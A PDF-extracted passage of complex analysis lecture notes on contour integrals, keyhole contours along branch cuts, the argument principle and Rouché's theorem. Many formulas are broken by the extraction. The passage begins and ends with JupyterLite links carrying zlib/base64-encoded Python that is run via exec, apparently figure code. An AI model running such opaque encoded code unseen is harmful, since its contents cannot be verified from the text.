S5xg95GZ%2FqI8hgqoC9ky8k79c6EcNarvOCzPhQpyLPJ7AbZhoaEuGQ%2BX063ZYKqjqRYVDSOeAtN56WMe%2B5KWcbyFc2jNPp0KJGu2jaxmIDRikgIoTx%2BQ0%2BTeh94WCLrXjH3RSr6g%2FOFYlb58DuWUayvNrFpv366XwAMJPQC%2BOB2bYPkJQ564wj8PvSWasE8W63D4hv70CzZx876PVIJ87aRu566SSRmqTSVN%2BWjmfqdmftJtIMZzOzpFt7ri9bR%2FYbQtw3ZfuG2zt2h9qPaBQ2pdByVNCOm4KApz2ujPd1D1PxbgjXNSvdJyMDnjG3x3qQkGTipNAI%2BjB%2FfCQDmmXWIVZT0N9im6LiAXp8PiPY3dZ3r8NJdPvwAK7tatVXFExENeWTWWJ3vkjNB0F4iCTy87aM7hOE1ETsZPvun%2F9NjNt256DMCF4z7%2B5rAP862jY8erBao8dMHNmpO7m%2BjHhnIz3nSnl6OG1SblSxeMd%2BBXldSK1wrBidLKP7OOsFbUYp2h%2B1M1Gt9lIV4jnUZGzmaULjIs%2FEaRt%2B0ZzeNkhNjQvajl1d3b2%2Fb9QUi7FFznRwQBzVYwpSeqZwJsgykcea1WaaZYakh5X2bPaEau2seZ82c2bUjPk0LlYONkSJi2ynIaSuDegJpmHDIk0QJY095%2F4jzRpVolaWkmhK2mQyFWLRSwZmP59g5qKYGZxK9%2BEtH9wKY2xdRC6ps2RScX3j7IT8kbjosKUILGJ1wgJvWFxiITLZpdGKpoQzW0n8uiQJe0qspvy7Yx%2FQb93Ae98rb6nMKqEh%2Fl9%2Fmus8Viow6%2FLN62qDNWZ9empOWdjZyajfpQnG5qmvnfDy7kJvNCqWvL%2BYxc7kTrvn%2Fd3tPdzTJFUO1b%2FZaVybpxdOBvDLG2w5PTVLax7etnuZ6cmt49RNUkk%2F53C3bPRYss4o761PqNvXEyrGVhnTn8NyUGsMan0%2FXW%2FPpDW8%2F%2FOutXsilT6P2ys2kY42XrqD7mPiL3hPlLPCcFkRS2TG8KUcjgN43OCgphL2wqXPiQeCSm8cFtiheErXhwcd%2B5C0Fj8GCfFuSIhLSBhy5LcrzYwI7QpMxnsRIeNFJFikKRmnvvjvac7jqkSi0gzkyDyi6kmHy0Nd%2Fuy1dUvbzDv5bhDGzPoSK7isyNMIZDaGjYcgExf4oaHgpSjTi2vzAYYwU4aQDmUYlT4EcNqCkXt%2F12VQJuzIvPeRXAYmORtqUIn%2FQ1CpBzGi%2Bt37h79LlOEoj4ugGHJAaP9u73ZCntv3LJY%2FOD5iebgjgr9rSl0hzQqkVZUM73fGuFaK0BD7IMqxcU65ekdHT%2BO8ZqbLzpwcN8Wyeiw1pIMJKgQOdVp2THpMaMuWVx7fc%2FVRV%2FgjejMq0%2BPWcIo1QY2tbOOqnrRpxgZOV7XyLQGGNc15VOaLsT1lS91FhMFI%2BdEJhiEjuINF1lbB0lcxVWNv3UhSGY6mZ1VOUxzMqEPHRUvhJoI0I8BkSYdFv4%2B%2BUr1mLBBSiva43Z4mfMvvsvaOVS89wtfJUfJUNeK6GVIMrv%2FU3bRL%2B2vHi%2BD2jo4YOByJ%2BCoGA3HA9ZKh%2BJkMo2XxqlPMlGapXTpKOLF9%2F57cFz%2B6%2Bkdlmj4fZFE8vBDRKKtt1geeVRMorQ%2BCkPxIUga63gykz5PQyz4llRY1U1QXr1rlqx%2BuvjB7eBPFYZQMpi7yTf6dnUa2vv9sbimpKfylPta5ZKwddI7yg7WtcetUhQ5W1%2BTr2MHo6nQng5sH6%2BrDzKW2l7oK0zT0t%2FDnccmtQwI%2B%2FiBpWeSXMghXSk69%2FXNotTmfrqeBg%2Bf2wazRRK%2FGEM%2BdWYOr8RRAuqKO5IUOjMIlhEyVLpHR0YjFblX3pX2J0uKRnaRlZZCSH7hoD8uK8hojFlBekyvO8DmuAI2udXhiCIxP5IZ%2FwQ56MeofjEsfLd7lr8pTRXi7UwA4En%2FKxYCvtKTpyhHXgghWKLGht7rsQzWWvDmmZq6jWNXIYI%2FkdW%2FlJu4V1nItnGQlZWyfdXfRIEy1iCIo0zV1xC7yhfhcCkn1HpiNa2bU0Ea04BkVtbHaZMredfxeZT1JNtFrczKmFz2%2BZqgOxgS8CcwzWSRY7tVU%2Fs72If8oEnUu1zbFAeCfjpLlCr8J4QglZAGDeRsD1FtxmOFfITTQhyDZ4dCMikAfibHFRchlrMuQX8ejoLSsngqcIdNB3S5bsVFs5c%2F%2F0GwYe2j9LxoIZHmLf9irpSXZBv%2BNZdUEbG2ieaJbvkF%2F3%2FTQ3fGoj1m%2B0AuGSxb4qpXwcfygT30xiPRq8C1bDb7VVoPttRaCsvWhuzXeukKiUiNQb6EMei710N6lh1cVvr9wMWIip7qmMM2KcnzkVRySjb7x8QkRfOMq9Kfx2Con%2FfkMcVu6eJ4g7dgANI7Fnn1Og3LozzVe5kA8T9AJnwR26TJC%2BP1Ce63KHCC%2Fs0N%2Bbb9QlZxnZZm8zo%2FlYStUl9d9KG%2Br6JCEguCGJXTrEvjgcyIpKLYjQDtU%2B2tFGlc4qtJqNxX6edZYJpeNfZcPZG1Fwb4HCwqWk6OGZZYik%2BVVVWAQiij0iBnhxiPHMrVbDY12Q8jPCxXGykeKZr%2FWS1CGWwRwPFHjkW1fA7lls%2Bo4YxrljhW8vPmA96PKm%2BZQd8mX4WMeNM%2BCxoZkL0kVImnK57TZ1JXHY8zxv76M7AZkq5ZjcVabF9spUdRguAIY9qg0tFgVq1uxeJRrzEnu%2BXRDRp58GfniO7ogkD8Vz%2FrY9JiIOz8m5kPb2jp61hQbmhslxPkWX%2F76JQOmVvFEJ9%2F4oQ9p65B4VhcLBht88sKA%2BbH%2FVkj0Bm1rEDQCXTHZxZpzYkkV6CrPSqaNRH5B2QUfCjTF6ZYlHoOjp1VWKPi5sCXcH%2BORRBjTvRl8tSpnmZXo5RnUZ%2FkUuNpRKSkB7GmFlfrasRfmaBqLchp8SLywrK3l5wHslbeFGoOu%2B7QazR48XFSOqBc7hB%2FUhNP1qMoBsGZ88ATGaEuyA%2B%2FhtpSHWOtMFuUNqhLtsgtUCd0BqiLqxTS8CXhL025Ur1NNQ9AGlNjV5G0B7RAQ5cQpWA4uIv9RhU7CJFfoBdKBOFxf%2BNGFF1SRMbswtfF9lcbuRKj1BMlrGBD0qSShW1VF5qqxL1H9%2FbqoXJfr71nFZb4OWrQQXqShDqaLJpfgY%2F9uqJKSqNm2BkW07dNNedtttvS8rStvWNZaXc0lu4hWvk%2BU707cGLsUPMIKzIiXMIXlbKkK8K8q4HGMH34hYKdLIB27zX%2BdxxEWCbv8dPqlKT58Kctfwy97IHVYgdSChk4ctb8eI3Vn6JM%2FBrzdBap6BlD1V5E61yqwGGfqtbkfw6AvE5cAxC8Lg9beDO0pFbKtkTwlYaOR0Anv3KqPZmjtzd8y9NqpMe2dL3bnjruRrEv1KhiqVbnggjfzfVldY4hQgZBZukHwPtBPPaq%2BX3jq2wVdqEQnyrXym5aVa6uP53NITcsZa5HyIrtdROyzKQ8Iwlxb2aKxh3ZAw%2BiCUn2zhYTkNyTZwLpn0hVMk2Jh7oVXjpdIxKa%2BSwTMWiGVnIqrDYeivu6J1APbE6rAZc3V%2B77A3%2BvstvvO6%2FcDTwWSCw5WeQd78KptGRzZj96uAjva0fBV%2B36WJSI3jIub9fnNzpEZTWd8mTPdRMqkQsVh1yjvZHepar997frycuZ66vLSjpPIc%2BEjL%2BnaBV8WK%2B872tGG0sxLLdiGGCr0%2FR8q4xA3%27%29%29.decode%28%29%0Aexec%28src%29
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1
2 ln

∣∣x−1
x+1

∣∣ is an antiderivative on each of the three intervals, F (±R) → 0 as R → ∞, and∫
[−R,R]\((−1−ε,−1+ε)∪(1−ε,1+ε))

dx
x2 − 1 = F (R) − F (−R) + ln 2 + ε

2 − ε
−→ 0.

29.5 Exercises
Exercise 29.1. Evaluate:∫ ∞

−∞

dx
x2 + 4 ,

∫ ∞

−∞

dx
(x2 + 1)2 ,

∫ ∞

0

x2 dx
x6 + 1 ,

∫ ∞

−∞

x2 − 1
x4 + 1 dx.

Exercise 29.2. Evaluate
∫ ∞

−∞

x sin x
x2 + 4 dx and

∫ ∞

0

cos 3x
(x2 + 1)2 dx.

Exercise 29.3. Show
∫ ∞

0

sin2 x

x2 dx = π

2 . (Write sin2 x = 1−cos 2x
2 and indent at 0.)

Exercise 29.4. (⋆) Prove
∫ ∞

−∞

sin x
x(x2 + 1) dx = π

(
1 − 1

e

)
. (The integrand has a removable sin-

gularity at 0 and the integral converges absolutely; integrate eiz

z(z2+1) over a contour indented at
0.)

Exercise 29.5. Explain why Theorem 29.5 fails for
∫∞

−∞
x

x2+1 dx, and compute the principal
value.

Exercise 29.6. Let a < 0, and assume now that |f(z)| → 0 as |z| → ∞ in the closed lower half-
plane (the other hypotheses being as in Theorem 29.9). Show that closing in the lower half-plane
gives

∫∞
−∞ f(x)eiax dx = −2πi

∑
Im zk<0 Res

(
f(z)eiaz, zk

)
, and explain the sign.

Exercise 29.7. Evaluate
∫ ∞

0

dx
x4 + x2 + 1 and

∫ ∞

−∞

x2 dx
(x2 + 1)(x2 + 9).

Exercise 29.8. Prove Jordan’s inequality sin θ ≥ 2θ
π on [0, π/2] carefully, by showing θ 7→ sin θ/θ

is decreasing there. Where exactly is it used in Lemma 29.8, and what would fail without it?

Exercise 29.9. (⋆) (A Fresnel integral.) By integrating eiz2 around the circular sector {0 ≤ |z| ≤
R, 0 ≤ Arg z ≤ π/4} and letting R → ∞, prove∫ ∞

0
cos(x2) dx =

∫ ∞

0
sin(x2) dx = 1

2

√
π

2 .

(You will need
∫∞

0 e−t2 dt =
√
π

2 and a Jordan-type estimate on the arc.)



Chapter 30

Integration along a Branch Cut

Integrals such as
∫∞

0
xa−1

1+x dx involve a non-integer power, hence a branch point at 0 and a branch
cut (Chapter 10). The residue theorem still applies, provided the contour is chosen to stay on
one side of the cut. The resulting keyhole contour is the standard device, and the mechanism
by which it works is worth stating plainly: the integral along the top of the cut and the integral
along the bottom do not cancel, because the integrand jumps across the cut, and the surviving
difference is the integral we want.

30.1 The keyhole contour
Definition 30.1 (Keyhole contour). Fix 0 < ε < R. Cut the plane along the non-negative real
axis [0,∞) and use the branch of za−1 with argument in (0, 2π):

za−1 := e(a−1)
(

ln|z|+iθ
)
, θ = arg0 z ∈ (0, 2π), (30.1)

in the notation of (10.4) with τ = 0. The keyhole contour Kε,R consists of

• L+: the segment from ε to R just above the cut, where θ = 0+;

• CR: the circle |z| = R counterclockwise, from θ = 0+ round to θ = 2π−;

• L−: the segment from R back to ε just below the cut, where θ = 2π−;

• cε: the circle |z| = ε clockwise, back to the start.

The values of za−1 “on” L± are the limits of (30.1) from above and from below the cut. Since
Kε,R runs along the cut, where the branch is not analytic, integrals over it are understood as
limits of integrals over nearby contours that avoid the cut; this is made precise in the proof of
Theorem 30.3.
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Re

Im

L+

L−

CR

cε

branch cut−1

Lemma 30.2 (The jump across the cut). With the branch (30.1), for x > 0

za−1∣∣
L+ = xa−1, za−1∣∣

L− = xa−1e2πi(a−1) = xa−1e2πia. (30.2)

Proof. On L+ we have |z| = x and θ → 0+, so (30.1) gives e(a−1) lnx = xa−1 (the ordinary real
power, since x > 0). On L−, θ → 2π−, so we pick up the extra factor e(a−1)·2πi, and e−2πi = 1
turns it into e2πia.

For an integrand za−1g(z) with g continuous across the cut, the two segments therefore con-
tribute

(
1 − e2πia) ∫ R

ε xa−1g(x) dx rather than 0: this is the whole mechanism.

30.2 The model integral
Theorem 30.3. Let a ∈ R with 0 < a < 1. Then∫ ∞

0

xa−1

1 + x
dx = π

sin πa. (30.3)

Proof. Let f(z) = za−1

1 + z
with the branch (30.1). Its only singularity off the cut is a simple pole

at z = −1, which in our branch has |−1| = 1 and θ = π, so by (30.1) and (27.2)

Res(f,−1) = lim
z→−1

za−1 = e(a−1)(ln 1+iπ) = eiπ(a−1) = −eiπa. (30.4)

Fix ε < 1 < R. The function f is analytic on the slit plane D := C \ [0,∞) except for the pole
at −1, and D is simply connected (it is star-shaped about −1: a segment from −1 to a point of
D meets the real axis only at −1, or stays in (−∞, 0)). The keyhole itself touches the cut, so
we first work with a nearby contour. For 0 < δ < ε put xr :=

√
r2 − δ2 and let Kδ consist of

the horizontal segment L+
δ from xε + iδ to xR + iδ, the arc CδR of |z| = R counterclockwise from

xR+ iδ to xR− iδ, the segment L−
δ from xR− iδ to xε− iδ, and the arc cδε of |z| = ε clockwise from

xε − iδ back to xε + iδ. This is a simple closed counterclockwise contour in D with −1 inside, so
the residue theorem 27.5 gives∫

L+
δ

f +
∫
Cδ

R

f +
∫
L−

δ

f +
∫
cδ

ε

f = 2πi Res(f,−1).
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Now let δ ↓ 0. Formula (30.1) with θ ∈ [0, π] defines a continuous function on the compact set
{ ε2 ≤ |z| ≤ 2R, Im z ≥ 0}, equal to za−1 off the real axis and to xa−1 at x > 0; similarly with
θ ∈ [π, 2π] on the lower half, with value xa−1e2πia at x > 0. By uniform continuity on these
compact sets, f(x ± iδ) converges uniformly on [ ε2 , 2R] to the boundary values of Lemma 30.2
divided by 1 + x, and xε → ε, xR → R; so

∫
L±

δ
f converge to the integrals over L± computed

below. The arc integrals converge as well: CδR is θ 7→ Reiθ for θ ∈ [θδ, 2π − θδ] with θδ → 0, and
θ 7→ f(Reiθ) is continuous and bounded on (0, 2π), so

∫
Cδ

R
f tends to

∫ 2π
0 f(Reiθ) iReiθ dθ, which

is what
∫
CR

f means; likewise for cδε and cε. The bounds used below for the circles are of the form
max |f | × length. With this meaning,∫

L+
f +

∫
CR

f +
∫
L−

f +
∫
cε

f = 2πi Res(f,−1) = −2πi eiπa. (30.5)

The big circle. On CR,
∣∣za−1∣∣ =

∣∣∣e(a−1) lnR
∣∣∣ ∣∣∣ei(a−1)θ

∣∣∣ = Ra−1 by (30.1), since a− 1 is real (so
no exponential factor), and |1 + z| ≥ R− 1, so by the ML-inequality (19.15)

∣∣∣∫
CR

f
∣∣∣ ≤ Ra−1

R− 1 · 2πR = 2πRa

R− 1 −→ 0 as R → ∞,

because a < 1.
The small circle. On cε,

∣∣za−1∣∣ = εa−1 and |1 + z| ≥ 1 − ε, so

∣∣∣∫
cε

f
∣∣∣ ≤ εa−1

1 − ε
· 2πε = 2πεa

1 − ε
−→ 0 as ε ↓ 0,

because a > 0. Both inequalities 0 < a < 1 are used, one at each end — this is why the hypothesis
is exactly 0 < a < 1.

The segments. By Lemma 30.2, and remembering that L− is traversed from R to ε so con-
tributes with a minus sign (19.12),∫

L+
f +

∫
L−

f =
(
1 − e2πia) ∫ R

ε

xa−1

1 + x
dx.

Letting ε ↓ 0 and R → ∞ in (30.5),

(
1 − e2πia) ∫ ∞

0

xa−1

1 + x
dx = −2πi eiπa.

Divide, and simplify by factoring eiπa out of the bracket:∫ ∞

0

xa−1

1 + x
dx = −2πi eiπa

1 − e2πia = −2πi eiπa

eiπa
(
e−iπa − eiπa

) = −2πi
−2i sin πa = π

sin πa,

where eiπa − e−iπa = 2i sin πa by (17.2). The convergence of the original integral is guaranteed
by 0 < a < 1: near 0 the integrand is ∼ xa−1 with a − 1 > −1, and near ∞ it is ∼ xa−2 with
a− 2 < −1.

Remark 30.4 (A sanity check and a corollary). At a = 1
2 , (30.3) gives

∫∞
0

dx√
x(1+x) = π, which one

can verify elementarily by substituting x = u2:
∫∞

0
2 du

1+u2 = 2 · π2 = π. Formula (30.3) is also, via
the substitution x = t/(1−t), the reflection formula Γ(a)Γ(1−a) = π

sinπa for the gamma function.
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30.3 Logarithms in the integrand
A second use of the cut: inserting log z produces integrals of ln x, and inserting (log z)2 produces
integrals with no logarithm at all.

Example 30.5. Evaluate
∫ ∞

0

dx
x2 + 1 and

∫ ∞

0

ln x
x2 + 1 dx simultaneously.

Take f(z) = (log z)2

z2 + 1 with the branch log z = ln |z|+iθ, θ = arg0 z ∈ (0, 2π), of Definition 30.1,
cut along [0,∞), and integrate over the keyhole Kε,R (with ε < 1 < R, understood as in the proof
of Theorem 30.3). On L+, log z = ln x; on L−, log z = ln x+ 2πi. Hence∫

L+
f +

∫
L−

f =
∫ ∞

0

(ln x)2 − (ln x+ 2πi)2

x2 + 1 dx =
∫ ∞

0

−4πi ln x+ 4π2

x2 + 1 dx.

The circles vanish as before (the log growth is beaten by the ε,R powers). The poles are z = ±i;
in our branch i has θ = π

2 and −i has θ = 3π
2 , so

Res(f, i) = (iπ/2)2

2i = −π2/4
2i , Res(f,−i) = (3iπ/2)2

−2i = −9π2/4
−2i .

Their sum is 1
2i
(
−π2

4 + 9π2

4
)

= 2π2

2i = π2

i , so the residue theorem gives

−4πi
∫ ∞

0

ln x dx
x2 + 1 + 4π2

∫ ∞

0

dx
x2 + 1 = 2πi · π

2

i
= 2π3.

Both integrals are real, so equating real and imaginary parts:∫ ∞

0

ln x
x2 + 1 dx = 0,

∫ ∞

0

dx
x2 + 1 = 2π3

4π2 = π

2 .

Both answers are correct and the first — which is not obvious — also follows from the substitution
x 7→ 1/x, which maps the integral to its own negative.

30.4 Exercises
Exercise 30.1. Use (30.3) to evaluate

∫∞
0

dx
x1/3(1+x) and

∫∞
0

x−3/4

1+x dx.

Exercise 30.2. Prove
∫ ∞

0

xa−1

1 + x2 dx = π

2 sin(πa/2) for 0 < a < 2. (Substitute x2 = t in (30.3),

or run the keyhole argument again.)

Exercise 30.3. Evaluate
∫ ∞

0

ln x
(x+ 1)3 dx using a keyhole contour with f(z) = (log z)2

(z+1)3 . (Why

would log z
(z+1)3 not do? Compare Example 30.5.)

Exercise 30.4. (⋆) Show
∫ ∞

0

ln x
x2 + a2 dx = π ln a

2a for a > 0, and check it against Example 30.5
at a = 1.

Exercise 30.5. Where exactly does the proof of Theorem 30.3 break if a ≥ 1? If a ≤ 0? Give
the divergent integral in each case.



CHAPTER 30. INTEGRATION ALONG A BRANCH CUT 217

Exercise 30.6. Evaluate
∫ ∞

0

√
x

x2 + 1 dx.

Exercise 30.7. Verify (30.3) numerically at a = 1
4 and a = 3

4 by evaluating both sides to three
decimals, and confirm the symmetry a ↔ 1 − a that the formula predicts. What identity of sin is
that symmetry?

Exercise 30.8. Evaluate
∫ ∞

0

xa−1

(1 + x)2 dx for 0 < a < 2, a ̸= 1, by the keyhole method, and treat

a = 1 directly. (The pole at −1 is now double, so use (27.3).)

Exercise 30.9. (⋆) Let 0 < a < 1. Show that the substitution x = et turns (30.3) into∫ ∞

−∞

eat

1 + et
dt = π

sin πa,

and prove this directly by integrating eaz

1+ez around the rectangle with vertices ±R, ±R + 2πi.
(Only one pole, at z = iπ, is enclosed; the top edge reproduces the bottom edge times e2πia, which
is the same cancellation mechanism as Lemma 30.2.)



Chapter 31

The Argument Principle and
Rouché’s Theorem

The residue theorem applied to the particular function f ′/f counts zeros and poles. That single
observation yields a practical method for locating roots of equations, a two-line proof of the
Fundamental Theorem of Algebra, and the open mapping theorem.

31.1 The argument principle
Definition 31.1 (Meromorphic). A function f is meromorphic on a region D if there is a set
P ⊆ D with no accumulation point in D such that f is analytic on D \ P and has a pole at each
point of P .

Lemma 31.2 (The logarithmic derivative). Let f be meromorphic near z0 and not identically 0.

(i) If f has a zero of order m at z0, then f ′/f has a simple pole at z0 with Res(f ′/f, z0) = m.

(ii) If f has a pole of order m at z0, then f ′/f has a simple pole at z0 with Res(f ′/f, z0) = −m.

(iii) Otherwise f ′/f is analytic at z0.

Proof. (i) By (24.8), f(z) = (z− z0)mg(z) with g analytic and g(z0) ̸= 0. Differentiating, f ′(z) =
m(z − z0)m−1g(z) + (z − z0)mg′(z), so

f ′(z)
f(z) = m

z − z0
+ g′(z)
g(z) . (31.1)

The second term is analytic near z0 because g(z0) ̸= 0. Hence the pole is simple with residue m.
(ii) By Theorem 26.5(ii), f(z) = (z − z0)−mg(z) with g analytic and nonzero at z0; the same

computation gives f ′

f = −m
z−z0

+ g′

g .
(iii) If f(z0) ̸= 0 and f is analytic there, f ′/f is a quotient of analytic functions with nonvan-

ishing denominator.

Theorem 31.3 (Argument principle). Let C be a simple closed contour, counterclockwise, and
let f be meromorphic on an open set containing C and its interior, with no zeros and no poles
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on C. Let N be the number of zeros and P the number of poles of f inside C, each counted with
multiplicity. Then

1
2πi

∮
C

f ′(z)
f(z) dz = N − P. (31.2)

Equivalently, N − P equals the winding number of the image curve f ◦ C about the origin:

N − P = Ind
(
f ◦ C; 0

)
= 1

2π
[
net change in arg f(z) as z traverses C

]
. (31.3)

Proof. The zeros and poles inside C are finite in number: they are isolated (Theorem 24.7 and
Definition 31.1) and lie in a compact set, so an infinite family would have an accumulation point,
forcing f ≡ 0 or contradicting Definition 31.1 (which we use with “region” replaced by “open set”).
Apply the residue theorem 27.5 to f ′/f and use Lemma 31.2. Here we need the residue theorem
in the form its proof actually gives: that proof (deformation onto small circles, Theorem 20.10)
uses only that the function is analytic on an open set containing C and its interior, except for
finitely many isolated singularities inside C. This holds for f ′/f : if U is the given open set and
Z the set of zeros and poles of f in U (closed in U , having no accumulation point in U), then
f ′/f is analytic on the open set obtained by removing from U the points of Z that are not inside
C, which still contains C and its interior. So: each zero of order m contributes m, each pole of
order m contributes −m, and nothing else contributes. That is (31.2).

For (31.3), parametrise C by γ : [a, b] → C and substitute w = f(z):∮
C

f ′(z)
f(z) dz =

∫ b

a

f ′(γ(t))γ′(t)
f(γ(t)) dt =

∫ b

a

(f ◦ γ)′(t)
(f ◦ γ)(t) dt =

∮
f◦C

dw
w
,

which is 2πi Ind(f ◦C; 0) by (27.6). The interpretation as net change of argument is the identity
d
dt log(f ◦ γ) = (f◦γ)′

f◦γ along a continuous branch of log, whose imaginary part is a continuous
branch of the argument; the real part ln |f ◦ γ| returns to its starting value because the contour
is closed, so only the argument change survives.
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A zero of order 3: f(C) winds 3 times round 0, counterclockwise
f(z) = (z¡ a)3 e z=3: the factor e z=3 has no zeros or poles; it changes the shape, not the count

f(z) = (z¡ a)3 e z=3

turns so far: 3:00

1
2¼i

I
C

f 0(z)

f(z)
dz= 3:000

Figure 31.1 (animated). Zeros and poles of different orders, for f(z) = (z− a)mez/3 with m = 1, 2, 3
(zeros) and m = −1,−2,−3 (poles). As z runs round C (left), the change of arg f(z), measured in
turns, is graphed (right); it ends at m. Indeed f ′

f
= m

z−a
+ 1

3 , so 1
2πi

∮
C

f ′

f
dz = m by (20.13) and

Theorem 20.9: a zero of order m counts m and a pole of order k counts −k. The factor ez/3, which
has no zeros or poles, changes the shape of the graph but not its end point.
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Slide the pole onto the zero: the integral does not change
no zero or pole of ft is ever on C, so the integral is continuous in t; it is an integer (Prop. 27.8), so it is constant

ft(z) =
(z¡ a)3

(z¡ bt)2
e z=3

t= 0:11;  turns so far: 1:00

1
2¼i

I
C

f 0(z)

f(z)
dz= 1:000

Figure 31.2 (animated). A proof of (31.2) by merging. First a simple zero and a simple pole, then a
zero of order 3 and a pole of order 2, lie inside C, and the pole slides onto the zero: ft(z) = (z−a)m

(z−bt)k e
z/3.

No zero or pole of ft is ever on C, so N(t) = 1
2πi

∮
C

f ′
t

ft
dz is continuous in t. It is also an integer, the

index of ft(C) about 0 (Proposition 27.8), so it is constant. The graph of arg ft changes (orange; grey
is t = 0) but its end point does not. After the merge f1 = (z − a)m−kez/3, whose count is m − k by
the previous figure: here 0 = 1 − 1 and 1 = 3 − 2. Sliding every zero and pole inside C to one point
in this way proves (31.2); the notes’ proof above uses the residue theorem instead.
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Example 31.4. Let f(z) = z3(z − 2)
(z − i)2 and let C be |z| = 3. Inside C: zeros at 0 (order 3) and 2

(order 1), so N = 4; a pole at i of order 2, so P = 2. Therefore 1
2πi
∮
C
f ′

f = 2: the image curve
winds twice around the origin.

z-plane: C

f

w-plane: winds twice

Figure 31.3. The argument principle (31.3) as bookkeeping on the image curve. As z traverses C
once, the image f(z) traces a closed curve in the w-plane; the number of times that curve winds
around the origin is N − P . Here it winds twice, so C encloses two more zeros than poles, counted
with multiplicity. No root finding is involved — one only has to watch arg f .

Example 31.5 (Counting roots in a region). How many zeros does f(z) = z4 + z3 + 1 have in
the first quadrant? Traverse the boundary of the quarter-disc of radius R (large) and track the
argument.

• On [0, R]: f(x) = x4 + x3 + 1 > 0, so arg f stays at 0.

• On the arc Reiθ, θ : 0 → π/2: write f(z) = z4(1 + z−1 + z−4). The argument of z4 increases
by 4 · π2 = 2π, while

∣∣z−1 + z−4∣∣ ≤ 2/R, so the second factor stays in the disc D(1, 2/R) and
its argument changes by at most 2 arcsin(2/R) = o(1). Net change 2π + o(1) as R → ∞.

• On the segment from iR to 0: f(iy) = y4 − iy3 + 1, whose real part y4 + 1 > 0 always. So
arg f stays in (−π

2 ,
π
2 ); it starts at − arctan R3

R4+1 = o(1) and ends at 0, so the net change is
o(1).

There are no zeros on the boundary (on the positive axes, f and Re f are positive), so by (31.3)
the total change is 2πN , an integer multiple of 2π. It equals 2π + o(1), hence for R large it is
exactly 2π. Taking R larger than the modulus of every zero, there is exactly N = 1 zero in the
first quadrant.

31.2 Rouché’s theorem
Theorem 31.6 (Rouché). Let C be a simple closed contour and let f, g be analytic on an open
set containing C and its interior. If

|g(z)| < |f(z)| for every z on C, (31.4)

then f and f + g have the same number of zeros inside C, counted with multiplicity.

Proof. First, (31.4) forces f ̸= 0 on C and, by the reverse triangle inequality (1.28), |f + g| ≥
|f | − |g| > 0 on C, so f + g ̸= 0 on C either. Both functions therefore satisfy the hypotheses of
Theorem 31.3 with P = 0.
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For t ∈ [0, 1] put ht := f + tg. By the same estimate |ht| ≥ |f | − t |g| > 0 on C, so

N(t) := 1
2πi

∮
C

h′
t(z)
ht(z)

dz

is defined for every t ∈ [0, 1] and, by Theorem 31.3, is a non-negative integer — the number of
zeros of ht inside C. But t 7→ N(t) is continuous: the integrand f ′+tg′

f+tg depends continuously on t,
uniformly on the compact contour C (the denominator is bounded away from 0), so the integral
does too. A continuous integer-valued function on the connected interval [0, 1] is constant. Hence
N(0) = N(1), i.e. f and f + g have the same zero count.

C : jzj= 2

z

zero of f (order 4)
zeros of f+ g

−30 −20 −10 0 10 20 30
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0
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20

30

post 0

shaded: where a leash of
length jg(z)j can reach

Rouché's theorem as a dog on a leash, C : jzj= 2

person at f(z) = z 4 (blue), dog at f(z) + g(z) = z 4 ¡ 6z+ 3 (green), leash g(z) = 3¡ 6z (brown)

person to post:
jf(z)j= 16:00
leash:
jg(z)j= 14:76

turns round 0
so far:
person 2:29
dog 2:18

Figure 31.4 (animated). Rouché’s theorem as a dog on a leash, for f(z) = z4 and g(z) = 3 − 6z on
C : |z| = 2. As z runs round C (left), a person walks along f(C) and a dog along (f + g)(C) (right),
joined by a leash of length |g(z)| ≤ 15. The post 0 is always at distance |f(z)| = 16 from the person,
farther than the leash reaches, so the dog never reaches the post. Both go round the post the same
number of times, 4, and by (31.3) f and f + g = z4 − 6z+ 3 have the same number of zeros inside C.
This picture illustrates the statement; the proof above uses the homotopy of the next figure.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=rouche1_leash&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNq9Wf9y2zYS%2Fp9PgWOcCZjIjCjJjiOHmWmcOs61ST2uZzpjxdVAJCjxTJEMQdmW6j7QPce92H0LgJTkOGl6f5wnoUBgsbtYfPsDoBPLhJWZWPIknXZYUom5tD%2Bqw9K8ltW1yDpsMiluw49FLr2hw%2FCXzsuiqllaYEgouT%2FosLmoy6yos3Til0tqMaHAutb0SVXM2fvTZT0rcj9OFYlsmJycf%2Fi5w2ynpsYsP8oKJUkrT3fZYU7E3HXdV%2Bl8ytI4dMtkjKbLVL3MZOhGi0oV1bAstO4uq9Nad2dpdMXqgpVioaT72nmloiot69fOtahYmbCQ3aR5XNz4uv1HMmSjyw67GrJuh1WLfMjqaiH%2FhEkgNmRxES3mMq%2F9qax%2FzCQ13yzfx7zRxjt08OMXuZEbsmSRR3Va5Ix77A%2FI88ET3f8wrUP256GjZP3e2ptvkWP9acK4pWV3dzT%2Fir0O6TfxM5lP65nHKlkvqvyQqCFaVREzBCOivjw0k0LG9e8zFnjs8WP2OD50sKrHMTR%2B9dzaBOZljxm%2FjwLPM1uRSBmTDbZ3xGu3cIxtOYe1LHVRsSvwYJXIp9IytSgyyEAHv%2FLajsmCdiAt%2FDfLWqr3v%2FD1ENDgK3Et8ctB1iHmgB1AkE9dA9JxmkczqUJqrydiHDwNUv3J%2FkDmURFL4kE7iLUtJPc8P5a6e0MgluovyljU0qzzSYMbbfpyoWbcxagYpnMxlc8h59D6w2Pleq1Fn8CeGIMBH7Fd%2FDGZx6xI2D8XJRZZ%2FZzWUnuhrPSwgx04KxZYyBPF6pksKjln%2FNw2%2BoG%2FD2tfy0oRRIIhEwDklKEtWCaFmvnOEUsVu1vdYdU9mImvPLRWv8NNp6bdZ7tsf%2BWzHxRbEcAVpkeSVcUCmh0xnsmkhhDBSogB5xuRXSkmsgKW1OwE6Ixc3enozmeGPa%2FS6az2Dkl3oxGpQ0M%2B%2ByUH%2B3X%2F3fSOvQpZsEcUIrsRS8XUDGEBpqhnItekRgfYAgirBfR07hJaWrBPLq0pClWTqyrzSmrlEhaCVwjCQ0vU0YpPinrGpoVdblrrYQUgsnwxn2Aa9qZOAVTGB57vvFlqAlFNtdezsgLK0jKTW5vS7zD52Wecmp7HEi0pIZuwGUD7kIyVrAoF51BpLNmR75wuj9Mpi4r8GmKwuUMzSYOIIVSnOVQC%2Bg1r6zkdIspZJLJMmVju%2Bz60BogAt19nooK%2FlgKRllYFfgZa4AHQkhSsci6u5LjS%2FYjeoFbwPTIMnL9gZEOrBfg%2BYkfDBls%2B2wAX43ExT3MB